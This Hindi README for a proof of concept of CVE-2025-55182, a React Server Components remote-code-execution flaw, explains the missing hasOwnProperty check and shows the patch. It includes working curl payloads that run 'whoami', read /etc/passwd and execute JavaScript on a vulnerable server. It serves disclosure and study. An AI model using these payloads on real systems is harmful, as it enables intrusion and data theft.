
[email protected] में लुप्त `hasOwnProperty` जाँच को प्रदर्शित करने वाला एक यथार्थवादी POC
एक न्यूनतम प्रूफ ऑफ कॉन्सेप्ट जो [email protected] में क्रिटिकल रिमोट कोड एक्ज़ीक्यूशन भेद्यता को प्रदर्शित करता है।
React सर्वर कंपोनेंट्स में एक प्री-ऑथेंटिकेशन RCE भेद्यता जो हमलावरों को भेद्य react-server-dom-webpack पैकेज (संस्करण 19.0.0 - 19.2.0) का उपयोग करके सर्वर पर मनमाना कोड निष्पादित करने की अनुमति देती है।
CVSS स्कोर: 10 (गंभीर)
react-server-dom-webpack 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack 19.0.0, 19.1.0, 19.1.1, 19.2.0hasOwnProperty की जांच का अभावभेद्यता React के Flight प्रोटोकॉल कार्यान्वयन में requireModule फ़ंक्शन में मौजूद है। यह फ़ंक्शन क्लाइंट अनुरोधों से प्राप्त मेटाडेटा के आधार पर मॉड्यूल निर्यात लोड करता है।
भेद्य कोड ([email protected]):
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = __webpack_require__(metadata[ID]);
if (metadata[NAME] === '*') {
return moduleExports;
}
if (metadata[NAME] === '') {
return moduleExports.__esModule ? moduleExports.default : moduleExports;
}
return moduleExports[metadata[NAME]]; // <-- कोई सत्यापन नहीं!
}
समस्या: metadata[NAME] उपयोगकर्ता इनपुट (HTTP अनुरोध) से आता है। एक हमलावर किसी भी मॉड्यूल और निर्यात नाम को निर्दिष्ट कर सकता है, जैसे child_process#execSync।
पैच किया गया कोड ([email protected]+):
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js
import hasOwnProperty from 'shared/hasOwnProperty';
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = __webpack_require__(metadata[ID]);
if (metadata[NAME] === '*') {
return moduleExports;
}
if (metadata[NAME] === '') {
return moduleExports.__esModule ? moduleExports.default : moduleExports;
}
// ठीक किया गया: सत्यापित करें कि निर्यात वास्तव में मौजूद है
if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
return moduleExports[metadata[NAME]];
}
return (undefined: any);
}
समाधान hasOwnProperty.call() जोड़ता है ताकि यह सुनिश्चित किया जा सके कि अनुरोधित निर्यात मॉड्यूल का अपना गुण है, न कि प्रोटोटाइप श्रृंखला से विरासत में मिला या खतरनाक मॉड्यूल के लिए गतिशील रूप से हल करने योग्य।
$ACTION_REF_0 और $ACTION_0:0 फ़ील्ड होते हैं$ACTION_0:0 में {"id":"child_process#execSync","bound":["whoami"]} होता हैdecodeAction इसे पार्स करता है और हमलावर-नियंत्रित मेटाडेटा के साथ requireModule को कॉल करता हैrequireModule require('child_process').execSync लौटाता हैcd CVE-2025-55182-realistic-poc/
npm install
npm start
# starts on http://localhost:3000
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
अपेक्षित आउटपुट:
{"success":true,"result":"your-username\n"}
# फ़ाइलें पढ़ें
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# जावास्क्रिप्ट निष्पादित करें
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["process.version"]}'
decodeAction प्रवाहHTTP Request
│
▼
┌─────────────────────────────────────────────────────────────┐
│ decodeAction(formData, serverManifest) │
│ - Parses $ACTION_REF_0 to find action reference │
│ - Parses $ACTION_0:0 to get {id, bound} │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ loadServerReference(serverManifest, id, bound) │
│ - id = "child_process#execSync" (attacker controlled) │
│ - bound = ["whoami"] (attacker controlled) │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ resolveServerReference(bundlerConfig, id) │
│ - Splits "child_process#execSync" into: │
│ specifier = "child_process" │
│ name = "execSync" │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ requireModule(metadata) [VULNERABLE] │
│ - Loads require("child_process") │
│ - Returns moduleExports["execSync"] │
│ - NO VALIDATION that "execSync" should be accessible │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ action = execSync.bind(null, "whoami") │
│ result = action() → EXECUTES "whoami" ON SERVER │
└─────────────────────────────────────────────────────────────┘
MIT